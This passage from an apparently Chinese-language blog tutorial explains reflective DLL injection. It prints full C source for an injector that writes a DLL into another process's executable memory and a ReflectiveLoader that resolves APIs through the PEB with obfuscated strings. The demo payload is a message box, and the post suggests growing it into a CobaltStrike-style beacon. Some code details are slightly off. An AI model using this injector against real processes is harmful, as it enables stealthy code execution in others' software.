                *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
            else if (relocList->type == IMAGE_REL_BASED_LOW)
                *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);

            // 移动到下一个重定位条目
            relocList++;
        }
        // 移动到下一个重定位块（当前块末尾作为新块起始）
        relocation = (PIMAGE_BASE_RELOCATION)relocList;
    }
}
```

### 3.5 修复导入表

大致思路

1. 获取导入表中的每一个导入描述符（`PIMAGE_IMPORT_DESCRIPTOR`），导入描述符中存放着需要导入的DLL的名称的RVA。
2. 使用在 `获取所需要的Windows API` 获取的LoadLibraryA的函数指针加载相应的DLL
3. 以 `IMAGE_IMPORT_DESCRIPTOR` 的 `OriginalFirstThunk` 作为导入名称表（**INT**，Import Name Table），根据INT中存放信息，我们可以选择序号导入还是名称导入，无论哪一种导入，都需要使用之前获取到的GetProcAddress指针解析需要的函数地址。
4. 将解析得到的函数地址填写到导入地址表（**IAT**，Import Address Table)
5. 移动到下一个导入描述符，重复上述操作

既然都说到了INT和IAT，就简单的做个介绍

| 阶段   | INT      | IAT         |
| ---- | -------- | ----------- |
| 编译时  | 由链接器生成   | 初始内容与INT相同  |
| 磁盘存储 | 保存函数名/序号 | 保存函数名/序号的副本 |
| 加载时  | 保持原样     | 被加载器替换为实际地址 |
| 运行时  | 保持原样     | 包含实际函数指针    |

协调工作

1. 加载器遍历INT中的每个IMAGE\_THUNK\_DATA
2. 根据每个thunk项解析函数地址：
   * 如果是序号导入：`Ordinal & IMAGE_ORDINAL_FLAG`
   * 如果是名称导入：`AddressOfData`指向IMAGE\_IMPORT\_BY\_NAME
3. 将解析得到的函数地址写入IAT对应位置
4. 程序执行时通过IAT中的地址调用API

完整代码

```go
/*---------------------第五步：修复导入表---------------------*/
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + BaseAddress);
//这个是IID的指针
if (pImport != NULL)
{
    while (pImport->Name != NULL)
    {
        char DLLname[100] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
        char* uiLibraryAddressName = (char*)(pImport->Name + BaseAddress); // 获取 DLL 名称的地址

        // 手动将名称拷贝到 DLLname 缓冲区
        for (int i = 0; i < sizeof(DLLname) - 1; i++)
        {
            if (uiLibraryAddressName[i] == '\0') // 遇到字符串结束符时停止
                break;
            DLLname[i] = uiLibraryAddressName[i]; // 拷贝字符
        }
        DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾

        //通过名称找句柄
        HMODULE hProcess = pLoadLibraryA(DLLname);               
        if (!hProcess)
        {
            return FALSE;
        }

        PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + BaseAddress);// 导入名称表
        PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + BaseAddress); // 导入地址表
        while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
        {
            //根据IAT中存放信息，我们可以选择序号导入还是名称导入               
            if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
            {
                //通过序号来获取地址
                pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
            }
            else
            {
                //通过函数名来获取地址
                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + BaseAddress);
                pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));             
            }
            pINT++;
            pIAT++;
        }
        pImport++;
    }
}
```

### 3.6 获取dllmain的地址，执行dllmain

这一步比较简单，直接上代码

```go
/*---------------------第六步：获取dllmain的地址，执行dllmain---------------------*/

// 获取映射后的DLL的NT头
PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(BaseAddress + pDOSheader->e_lfanew);

// 获取DLL的入口点，一般为DllMain
FARPROC dllentry = (FARPROC)((LPBYTE)BaseAddress + pNT->OptionalHeader.AddressOfEntryPoint);

// 执行DllMain函数
dllentry();
return TRUE;
```

## 四、完整代码

### 4.1 Inject

```go
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdlib.h>

DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec);
LPVOID GetProcAddrByName(LPVOID lpRemoteLibraryBuffer, const char* funcName, LPVOID pBuf);
int main() {
    //先定义需要注入的dll与目标进程的名字
    char Dllname[MAX_PATH] = "D:\\C#project\\反射DLL\\x64\\Debug\\反射DLL.dll";


    //查找获得目标进程的id
    DWORD dwPid = 41424;

    //与普通dll注入一样，首先要做的是获取句柄
    HANDLE hProc = NULL;

    // 打开DLL文件
    HANDLE hFile = CreateFileA(Dllname, GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("\n[-] CreateFileA failed.");
        return FALSE;
    }

    // 获取DLL的大小
    DWORD FileSize = GetFileSize(hFile, NULL);
    LPDWORD SizeToRead = 0;

    // 创建本地堆空间
    LPVOID lpBuffer = HeapAlloc(GetProcessHeap(), 0, FileSize);
    if (!lpBuffer) {
        printf("\n[-] 创建本地堆空间失败");
    }

    // 读取文件内容到本地堆空间
    DWORD dwBytesRead = 0;
    int result = ReadFile(hFile, lpBuffer, FileSize, &dwBytesRead, NULL);
    if (result == 0)
    {
        printf("\n[-] 文件读取失败");
        return FALSE;
    }

    // 对接下来开辟的空间进行计算大小
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBuffer;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)lpBuffer + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS));
    DWORD ImageSize = pNtHeader->OptionalHeader.SizeOfImage;

    // 打开目标进程，获得其句柄
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (!hProc)
    {
        DWORD dwError = GetLastError();
        printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);
        return FALSE;
    }

    // 申请一块保护属性为PAGE_EXECUTE_READWRITE的内存空间
    LPVOID lpRemoteLibraryBuffer = VirtualAllocEx(hProc, NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpRemoteLibraryBuffer == NULL) {
        printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());
        return FALSE;
    }

    //将dll文件写入进去
    if (!WriteProcessMemory(hProc, lpRemoteLibraryBuffer, lpBuffer, FileSize, NULL)) {
        printf("\n[-] 写入失败，错误代码: %d", GetLastError());
        return FALSE;
    }

    // 假设 ReflectLoader 是目标函数名
    const char* ReflectiveLoaderName = "ReflectiveLoader";

    // 获取 ReflectLoader 在目标进程内存中的地址
    LPVOID pReflectLoader = GetProcAddrByName(lpRemoteLibraryBuffer, ReflectiveLoaderName, lpBuffer);
    if (!pReflectLoader) {
        printf("[-] Failed to find ReflectLoader.\n");
        VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
        return FALSE;
    }

    // 调用 ReflectLoader 函数
    HANDLE hThread = CreateRemoteThread(hProc,NULL,0, (LPTHREAD_START_ROUTINE)pReflectLoader, NULL,0,NULL);
    if (!hThread) {
        printf("\n[-] CreateRemoteThread failed: %d", GetLastError());
        VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
        return FALSE;
    }

    printf("\n[+] ReflectLoader executed successfully.");

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFreeEx(hProc, lpRemoteLibraryBuffer, 0, MEM_RELEASE);
    return TRUE;

}

//作用：RVA->文件偏移地址
//公式：文件偏移 = 节区文件起始地址（PointerToRawData） + （RVA - 节区虚拟起始地址（VirtualAddress））
DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec) {
    
    // 遍历节区表
    DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections;
    for (int i = 0; i < SectionNumber; i++) {
        // 检查RVA是否在当前节区的范围内
        if (RVA >= pSec[i].VirtualAddress && RVA < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (RVA - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区，返回无效值
    return 0xFFFFFFFF;
}

//作用：该函数通过导出表获得指定函数的地址
LPVOID GetProcAddrByName(LPVOID lpRemoteLibraryBuffer, const char* funcName, LPVOID pBuf){

    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS));

    //获取导出表地址及大小，注意这里是RVA
    DWORD exportDirRVA = pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeader->OptionalHeader.DataDirectory[0].Size;

    //定位导出表
    //得到的偏移地址是RVA，但是咱们的文件现在只是磁盘文件,所以需要转换为文件偏移
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeader, pSec);

    //转换之后RVA就变成了文件偏移，然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);

    //解析导出表，这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeader, pSec);
    DWORD* pNames = (DWORD*)((PBYTE)pBuf + pFNames);

    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeader, pSec);
    DWORD* pFunctions = (DWORD*)((PBYTE)pBuf + pFFunctions);

    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeader, pSec);
    WORD* pNameOrdinals = (WORD*)((PBYTE)pBuf + pFFunctions);

    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeader, pSec);
        const char* pName = (char*)((PBYTE)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }

    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeader, pSec);;
    DWORD* pfileOffset = (DWORD*)((PBYTE)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }

    // 返回函数的地址
    LPVOID remoteFuncAddr = (LPBYTE)lpRemoteLibraryBuffer + fileOffset;
    return remoteFuncAddr;
}
```

### 4.2 ReflectiveLoader

```go
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include <windows.h>
#include <stdbool.h>
#include <winternl.h>
typedef struct
{
    WORD	offset : 12;
    WORD	type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;

extern "C" __declspec(dllexport) BOOL ReflectiveLoader();
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{

    // 弹窗代码
    MessageBoxW(NULL, L"Hello Oneday!!!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);

    char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区

    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);
    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);

    Sleep(99999999);

    return TRUE;
}
// 自定义宽字符转小写（简化版 Unicode 支持）
wchar_t my_towlower(wchar_t c) {
    // 基础拉丁字母（A-Z）直接转换
    if (c >= L'A' && c <= L'Z') {
        return c + 32;
    }

    // 拉丁扩展-A 大写字母（如 À, È, Ê 等）
    if (c >= 0xC0 && c <= 0xDE && c != 0xD7) { // 0xC0(À)~0xDE(Þ), 排除 0xD7(×)
        return c + 32;
    }

    // 特殊字符单独处理
    switch (c) {
    case L'İ': return L'i';    // 土耳其语 İ → i
    case L'Σ': return L'σ';    // 希腊大写 Sigma → 小写 sigma
    case L'Ϊ': return L'ϊ';    // 希腊大写 Iota with dialytika
        // 可在此添加更多特殊字符映射...
    }

    // 其他字符直接返回（视为无小写形式）
    return c;
}

// 不区分大小写的宽字符串比较函数（不修改原始字符串）
bool MyCompareStringW(const wchar_t* str1, const wchar_t* str2) {
    // 空指针检查
    if (str1 == NULL || str2 == NULL) return false;

    size_t i = 0;
    // 动态转换并比较字符，无需修改原始字符串
    while (str1[i] != L'\0' && str2[i] != L'\0') {
        wchar_t c1 = my_towlower(str1[i]);
        wchar_t c2 = my_towlower(str2[i]);

        if (c1 != c2) return false;
        i++;
    }

    // 必须同时到达字符串结尾才算相等
    return (str1[i] == L'\0' && str2[i] == L'\0');
}

// ASCII字符串比较函数
bool MyCompareStringA(CHAR str1[], CHAR str2[]) {


    int i = 0;
    while (str1[i] && str2[i]) {

        if (str1[i] != str2[i]) {
            return false;
        }
        i++;
    }

    // 必须同时到达字符串结尾才算相等
    return (str1[i] == '\0' && str2[i] == '\0');
}


// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;

    // 遍历并找到最后一个 '\\'，获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }

    // 如果没有找到 '\\'，则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }

    return fileName;
}


FARPROC GetApiAddressByName(wchar_t* TargertDllName, char* ApiName) {
    
    // 从获取 PEB 地址
    PPEB pPEB = (PPEB)__readgsqword(0x60);

    // 获取 PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;

    // 遍历模块列表
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead) {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        if (pEntry && pEntry->FullDllName.Buffer) {

            wchar_t* fullDllPath = pEntry->FullDllName.Buffer;

            // 提取 DLL 名称
            wchar_t* CurrentDllName = ExtractDllName(fullDllPath);

            // 比较 DLL 名称（不区分大小写）
            if (MyCompareStringW(CurrentDllName, TargertDllName)) {
                // 找到目标 DLL
                HMODULE hModule = (HMODULE)pEntry->DllBase;

                // 分析 PE 文件找到导出表
                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew);
                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule +
                    pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

                // 获取导出表的各个信息
                DWORD* pFunctionNames = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfNames);
                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hModule + pExportDirectory->AddressOfFunctions);
                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hModule + pExportDirectory->AddressOfNameOrdinals);

                // 遍历导出表，查找目标函数
                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
                    char* functionName = (char*)((BYTE*)hModule + pFunctionNames[i]);

                    // 找到函数名，获取其地址
                    if (MyCompareStringA(functionName, ApiName)) {
                        return (FARPROC)((BYTE*)hModule + pFunctionAddresses[pFunctionOrdinals[i]]);
                    }
                }

                // 如果遍历完导出表未找到函数，返回 NULL
                return NULL;
            }
        }

        pCurrentEntry = pCurrentEntry->Flink;
    }

    return NULL; // 未找到模块
}

extern "C" __declspec(dllexport) BOOL ReflectiveLoader()
{

    /*---------------------第一步：暴力搜索DLL的基址---------------------------------*/

    // 获得ReflectiveLoader函数的地址，如果找到了DLL基址，则将其存储到uiLibraryAddress，pNtHeader就是NT头的地址
    ULONG_PTR uiLibraryAddress = (ULONG_PTR)ReflectiveLoader;   
    ULONG_PTR uiHeaderValue = 0;                             
    PIMAGE_NT_HEADERS pNtHeader = 0;

    // 从ReflectiveLoader函数的地址往回退，直到找到DLL的基址
    while (TRUE)
    {
        // 验证是否为DOS头
        if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
        {
            // 验证是否为NT头
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
            {
                pNtHeader = (PIMAGE_NT_HEADERS)(uiHeaderValue + uiLibraryAddress);
                if (pNtHeader->Signature == IMAGE_NT_SIGNATURE)
                    break;
            }
        }
        uiLibraryAddress--;
    }

    if (!uiLibraryAddress)
        return FALSE;

    /*---------------------第二步：获取所需要的Windows API---------------------------*/

    // 定义API指针类型
    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE hModule, LPCSTR  lpProcName);
    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR lpLibFileName);
    typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD  flAllocationType, DWORD  flProtect);

    // 声明API指针变量
    GETPROCADDR pGetProcAddress = NULL;
    LOADLIBRARYA pLoadLibraryA = NULL;
    VIRTUALALLOC pVirtualAlloc = NULL;

    // 将字符串拆分为字符数组，嵌入代码段
    // 优化：这里可以将字符串用自定义哈希算法得到唯一值，我这里就不用了，具体看我给的参考资料
    WCHAR kernel32[] = { 'K', 'e', 'r', 'n', L'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
    WCHAR ntdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
    CHAR virtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', '\0' };
    CHAR loadLibraryA[] = { 'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'A', '\0' };
    CHAR getProcAddress[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
    
    // 获取API的地址，将其存储在API指针变量中
    pGetProcAddress = (GETPROCADDR)GetApiAddressByName(kernel32, getProcAddress);
    pLoadLibraryA = (LOADLIBRARYA)GetApiAddressByName(kernel32, loadLibraryA);
    pVirtualAlloc = (VIRTUALALLOC)GetApiAddressByName(kernel32, virtualAlloc);

    if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc)
    {
        return FALSE;
    }

    /*---------------------第三步：加载 PE 文件节到内存---------------------*/

    //获取磁盘文件的DOS头
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)uiLibraryAddress;

    //给内存分配空间，并对BaseAddress进行初始化
    DWORD ImageSize = pNtHeader->OptionalHeader.SizeOfImage;  //内存空间大小
    PBYTE BaseAddress = (PBYTE)pVirtualAlloc(NULL, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (BaseAddress == NULL) return FALSE;

    // 手动实现 CopyMemory 的功能
    BYTE* dst = (BYTE*)BaseAddress;                          // 目标内存地址
    BYTE* src = (BYTE*)uiLibraryAddress;                     // 源内存地址
    size_t size = pNtHeader->OptionalHeader.SizeOfHeaders;   // 需要复制的字节数

    // 逐字节复制
    for (size_t i = 0; i < size; ++i) {
        dst[i] = src[i];                                     
    }

    // 复制节区表
    PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeader);  // 获取第一个节区头（节表起始位置）

    // 获取总节区数量（从 NT 头的 FileHeader 中读取）
    DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections;

    // 遍历所有节区
    for (int i = 0; i < SectionNumber; i++) {

        // 跳过没有原始数据或文件偏移为 0 的节区（例如 .bss 节）
        if (pSectionHeader->SizeOfRawData == 0 || pSectionHeader->PointerToRawData == 0) {
            pSectionHeader++;
            continue;
        }

        // 计算PE节在磁盘文件中的位置和在新内存中的位置，并将磁盘文件中的节复制到新内存中
        BYTE* SrcMem = (BYTE*)((ULONG_PTR)uiLibraryAddress + (DWORD)(pSectionHeader->PointerToRawData));
        BYTE* DstMem = (BYTE*)((ULONG_PTR)BaseAddress + (DWORD)(pSectionHeader->VirtualAddress));
        DWORD dwSizeOfRawData = pSectionHeader->SizeOfRawData;
        DWORD dwVirtualSize = pSectionHeader->Misc.VirtualSize;
        for (DWORD j = 0; j < dwSizeOfRawData; j++) {
            DstMem[j] = SrcMem[j];
        }

        // 如果内存中的节区大小 > 文件中的原始数据大小，需要填充剩余空间
        if (dwVirtualSize > dwSizeOfRawData) {
            BYTE* start = DstMem + dwSizeOfRawData;
            BYTE* end = DstMem + dwVirtualSize;
            while (start < end) {
                *start++ = 0;
            }
        }

        // 移动到下一个节头的位置
        pSectionHeader++;
    }

    /*---------------------第四步：修复重定位表----------------------*/

    // 计算实际加载地址与预期基址的偏移量（重定位修正量）
    DWORD_PTR baseOffset = ((ULONG_PTR)BaseAddress - (ULONG_PTR)pNtHeader->OptionalHeader.ImageBase);

    // 获取PE头中定义的重定位表目录信息
    PIMAGE_DATA_DIRECTORY pRelocDir  = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    PIMAGE_RELOC relocList;

    // 仅当存在基址偏移且重定位表非空时处理
    if (baseOffset && pRelocDir ->Size) {

        // 定位到内存中重定位表的起始位置（RVA转换为实际地址）
        PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(pRelocDir ->VirtualAddress + (ULONG_PTR)BaseAddress);

        // 遍历所有重定位块（直到遇到VirtualAddress为0的终止块）
        while (relocation->VirtualAddress) {

            // 定位到当前块内的重定位条目列表（紧接在块头之后）
            relocList = (PIMAGE_RELOC)(relocation + 1);

            // 遍历当前块内的所有重定位条目
            while ((PBYTE)relocList != (PBYTE)relocation + relocation->SizeOfBlock) {

                /* 根据重定位类型进行地址修正：
                   DIR64   - 64位全地址修正（x64架构）
                   HIGHLOW - 32位全地址修正（x86架构）
                   HIGH    - 修正32位地址的高16位
                   LOW     - 修正32位地址的低16位 */
                if (relocList->type == IMAGE_REL_BASED_DIR64)
                    *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += baseOffset;
                else if (relocList->type == IMAGE_REL_BASED_HIGHLOW)
                    *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += (DWORD)baseOffset;
                else if (relocList->type == IMAGE_REL_BASED_HIGH)
                    *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += HIWORD(baseOffset);
                else if (relocList->type == IMAGE_REL_BASED_LOW)
                    *(PULONG_PTR)(BaseAddress + relocation->VirtualAddress + relocList->offset) += LOWORD(baseOffset);

                // 移动到下一个重定位条目
                relocList++;
            }
            // 移动到下一个重定位块（当前块末尾作为新块起始）
            relocation = (PIMAGE_BASE_RELOCATION)relocList;
        }
    }


    /*---------------------第五步：修复导入表---------------------*/
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + BaseAddress);
    //这个是IID的指针
    if (pImport != NULL)
    {
        while (pImport->Name != NULL)
        {
            char DLLname[100] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
            char* uiLibraryAddressName = (char*)(pImport->Name + BaseAddress); // 获取 DLL 名称的地址

            // 手动将名称拷贝到 DLLname 缓冲区
            for (int i = 0; i < sizeof(DLLname) - 1; i++)
            {
                if (uiLibraryAddressName[i] == '\0') // 遇到字符串结束符时停止
                    break;
                DLLname[i] = uiLibraryAddressName[i]; // 拷贝字符
            }
            DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾

            //通过名称找句柄
            HMODULE hProcess = pLoadLibraryA(DLLname);               
            if (!hProcess)
            {
                return FALSE;
            }

            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + BaseAddress);// 导入名称表
            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + BaseAddress); // 导入地址表
            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
            {
                //根据IAT中存放信息，我们可以选择序号导入还是名称导入               
                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
                {
                    //通过序号来获取地址
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
                }
                else
                {
                    //通过函数名来获取地址
                    PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + BaseAddress);
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));             
                }
                pINT++;
                pIAT++;
            }
            pImport++;
        }
    }

    /*---------------------第六步：获取dllmain的地址，执行dllmain---------------------*/

    // 获取映射后的DLL的NT头
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(BaseAddress + pDOSheader->e_lfanew);

    // 获取DLL的入口点，一般为DllMain
    FARPROC dllentry = (FARPROC)((LPBYTE)BaseAddress + pNT->OptionalHeader.AddressOfEntryPoint);
    
    // 执行DllMain函数
    dllentry();
    return TRUE;
}

```

测试

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/10/17-29-45-e1708d42ea87b9b9e689a20dde120bbb-PixPin_2025-02-10_17-29-10-4d9513.gif)

## 五、尾语

在末尾在说几句话吧

1. 在`Inject`中你是可以先扩展到节区表，然后找到 `ReflectiveLoader` 的地址，再创建线程去调用它，与上文提到的思路大差不差，这样做的好处就是不用再从RVA转到文件偏移了
2. `CreateRemoteThread` 是可以向被创建的线程传递一个参数的，如果不想在 `ReflectiveLoader` 中实现暴力搜索DLL的基址的话，可以向 `ReflectiveLoader` 传递DLL的基址
3. 如果想实现类似CobaltStrike的有阶段beacon，你可以参考 [oldboy21/RflDllOb： 反射式 DLL 注入制作 Bella](https://github.com/oldboy21/RflDllOb?tab=readme-ov-file) 这个项目去修改 `Inject` 和 `ReflectiveLoader`，做到类型下图所示的功能

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/02/10/17-20-47-bed6fbeda76408ec8b629c364dae2aaa-20250210172046-2585a5.png)

## 参考资料

1. 最知名的Reflective DLL Injection项目，也算是技术起源了： [GitHub - stephenfewer/ReflectiveDLLInjection：反射式DLL注入是一种库注入技术，其中采用反射式编程的概念来执行将库从内存加载到主机进程中。](https://github.com/stephenfewer/ReflectiveDLLInjection)
2. [oldboy21/RflDllOb： 反射式 DLL 注入制作 Bella (github.com)](https://github.com/oldboy21/RflDllOb?tab=readme-ov-file)
3. [GitHub - rapid7/ReflectiveDLLInjection at 6bad4c49327ad3b7d9cce6e280d034b76dbec928](https://github.com/rapid7/ReflectiveDLLInjection/tree/6bad4c49327ad3b7d9cce6e280d034b76dbec928)
4. [深入理解反射式dll注入技术 - FreeBuf网络安全行业门户](https://www.freebuf.com/articles/web/325873.html)
5. [反射DLL注入原理解析 - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/14639?time__1311=GqAhYK0IED%2FD7850%3DDODcCsGCzHMvmD)
6. [Windows Shellcode 注入姿势 | MYZXCG](https://myzxcg.com/2022/01/Windows-Shellcode-%E6%B3%A8%E5%85%A5%E5%A7%BF%E5%8A%BF/#dosheader-%E4%BF%AE%E6%94%B9)
7. [圣诞节我想要的只是反光 DLL 注射 ：： Vincenzo — 博客](https://oldboy21.github.io/posts/2023/12/all-i-want-for-christmas-is-reflective-dll-injection/)
8. [GitHub - dismantl/ImprovedReflectiveDLLInjection: An improvement of the original reflective DLL injection technique by Stephen Fewer of Harmony Security](https://github.com/dismantl/ImprovedReflectiveDLLInjection)
